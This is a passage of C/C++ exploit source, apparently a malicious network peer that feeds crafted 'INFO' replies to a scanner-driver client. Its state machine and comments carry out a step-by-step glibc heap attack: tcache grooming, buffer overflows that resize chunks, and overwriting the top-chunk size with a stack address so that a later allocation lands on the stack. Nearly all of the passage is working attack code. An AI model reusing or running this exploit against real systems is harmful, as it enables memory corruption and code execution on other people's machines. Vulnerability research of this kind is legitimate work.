// Allocate 0xa30 bytes into `pbuf`. We will allocate some tcache
// sized blocks above it in memory. Those blocks will not be returned
// to the top chunk when they are freed because they will go into
// the tcache instead. On the next iteration, we will use more = 0x510
// so that both pbuf and the reply buffer fit before the tcache blocks
// so that we can use the buffer overflow to overwrite them.
const uint32_t more = 0xa30;
// Use a PRD to plug split the pbuf from the previous iteration.
sprintf(&reply[17], "%07x#iter%lu#PRDh3ff#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_create_tcache_blocks;
return 20;
} else if (acceptCount_ == A_reindex_tcache_blocks) {
printf("A_reindex_tcache_blocks %lu\n", acceptCount_);
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// Overwrite one of the tcache blocks which we created in the
// previous iteration. We make it bigger so that it overlaps with
// the other one.
const uint32_t more = 0x510;
sprintf(&reply[17], "%07x#iter%lu#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_reindex_tcache_blocks;
return 20;
} else if (acceptCount_ == A_overwrite_tcache_blocks) {
printf("A_overwrite_tcache_blocks %lu\n", acceptCount_);
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
const uint32_t more = 0x510;
sprintf(&reply[17], "%07x#iter%lu#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_overwrite_tcache_blocks;
return 20;
} else if (A_create_extra_tcache_block00 <= acceptCount_ &&
acceptCount_ < A_large_mmap) {
// We need to create 5 additional tcache blocks. This takes two
// iterations per additional tcache block. On the even iterations,
// we allocate and free 0x400 bytes. On the odd iterations, we use
// the buffer overflow to change the size of the chunk to 0x4d0 and
// then allocate and free it, so that it gets moved to the tcache
// index for 0x4d0.
const size_t i = acceptCount_ - A_create_extra_tcache_block00;
printf("A_overwrite_tcache_blocks%.2lu %lu\n", i, acceptCount_);
if (i % 3 == 0) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
const uint32_t more = 0xa30;
// Include a PRD to plug the hole from the previous iteration.
sprintf(&reply[17], "%07x#iter%lu#PRDha2f#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_create_extra_tcache_block;
return 20;
} else if (i % 3 == 1) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
const uint32_t more = 0x510;
sprintf(&reply[17], "%07x#iter%lu#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_reindex_extra_tcache_block;
return 20;
} else {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
const uint32_t more = 0x510;
sprintf(&reply[17], "%07x#iter%lu#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_resize_extra_tcache_block;
return 20;
}
} else if (acceptCount_ == A_large_mmap) {
printf("A_large_mmap %lu\n", acceptCount_);
// Do a large allocation which does not get leaked to ensure
// that sufficient memory has been mmap-ed. Otherwise our top-chunk
// shenanigans could hit invalid memory and trigger a SIGSEGV.
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
const uint32_t more = large_mmap_size;
// Use a PRD to plug the hole from the previous iteration.
sprintf(
&reply[17], "%07x#iter%lu#PRDha2f#---", more, acceptCount_
);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_large_mmap;
return 20;
} else if (acceptCount_ == A_create_barrier1) {
printf("A_create_barrier1 %lu\n", acceptCount_);
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// Allocate 0xa30 bytes into `pbuf`. We will leak a block above it
// in memory so that when `pbuf` is freed, it leaves a gap in
// memory which is exactly big enough for two allocations of size
// 0x510.
const uint32_t more = 0xa30;
sprintf(&reply[17], "%07x#iter%lu#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_create_barrier;
return 20;
} else if (acceptCount_ == A_resize_buffer1) {
printf("A_resize_buffer1 %lu\n", acceptCount_);
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// Half the size of the previous iteration, so that both `pbuf` and
// `s->netbuf` fit in the gap before the barrier.
const uint32_t more = 0x510;
// We used the PRD command to allocate a large buffer in
// decode_buffer which is too big to fit before the barrier.
sprintf(&reply[17], "%07x#PRDha5fkevwozere#---", more);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_resize_buffer;
return 20;
} else if (acceptCount_ == A_overwrite_top) {
printf("A_overwrite_top %lu\n", acceptCount_);
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// Allocate the same size as the previous iteration so that `pbuf`
// and `s->netbuf` fit in the gap before the barrier. We also allocate
// a large PRD. It is too big to fit in the gap reserved for
// `pbuf` and `s->netbuf` so it goes in the gap that we created in
// `send_resize_buffer`, which overlaps with the top chunk.
// The PRD command is carefully positioned (with the AAAAAA padding)
// So that a stack address will overwrite the size of the top chunk.
const uint32_t more = 0x510;
sprintf(
&reply[17],
"%07x#AAAAAAAAAAAAAAAAAA#PRDha3fkevwozere#---",
more
);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
// When we use the size of the top chunk to do arithmetic, we can
// only subtract multiples of 0x10. So we have deliberately written
// the stack address one byte higher in memory. For example, if the
// stack address is 0x00007fffcb65c760, then we have overwritten
// the size of the top chunk with 0x007fffcb65c76000. The bottom
// byte of the top chunk needs to be 0x5, so the next step is to
// use a buffer overflow to overwrite the bottom byte.
state_ = H_wait_moreinfo;
moreinfo_state_ = M_overwrite_top;
return 20;
} else if (acceptCount_ == A_subtract_top) {
printf("A_subtract_top %lu\n", acceptCount_);
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// Allocate a huge buffer to subtract the desired amount from the
// size of the top chunk. This is based on the following calculation:
//
// 1. We originally grabbed an stack address like 0x7f2641913760
// 2. The target stack address is 0x7f2641913588
// 3. But the second exploit needs to aim 0x10 bytes below the target
// stack address, so the target is actually 0x7f2641913578.
// 4. So we want to subtract 0x1e8 from the original stack address.
// 5. We have shifted the address left by 1 byte, so we actually need
// to allocate 0x1e800 bytes to get the desired effect.
// 6. At this point of the exploit, we have already allocated 0xb3e0
// bytes, so there are 0x13420 left to allocate.
// 7. On this iteration we're going to plug the hole left by the previous
// stage (0xb00) and start the process of allocating more memory
// Now we're going to do a large allocation to subtract the number that
// we want from the size of the top chunk.
//
const uint32_t more = 0x10980;
// Use a PRD to plug the remaining hole
sprintf(&reply[17], "%07x#iter%lu#PRDh50fkevwozere#---", more, acceptCount_);
if (sock.reply(reply, sizeof(reply)) < 0) {
printf("send failed.\n");
}
state_ = H_wait_moreinfo;
moreinfo_state_ = M_subtract_top;
return 20;
} else if (acceptCount_ == A_copy_pointer) {
printf(
"A_copy_pointer %lu count=%lu\n",
acceptCount_, copy_pointer_info_count_
);
// We trigger the pointer copy on the first visit. On the second
// visit, we are just going around the esci2_info an extra time
// because we need to leak some 64 byte blocks from the tcache.
copy_pointer_info_count_++;
if (copy_pointer_info_count_ == 1) {
char reply[76] =
{'I', 'S', 0, 0, 0, 12, 0, 0, 0, 64, 0, 0,
'I','N','F','O','x',0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
};
// We just put made an allocation of size 0x400 immediately before
// the top chunk, and it is now in the tcache. So pbuf will get
// that allocation and will be able to use a PRD command to read the
// size of the top chunk.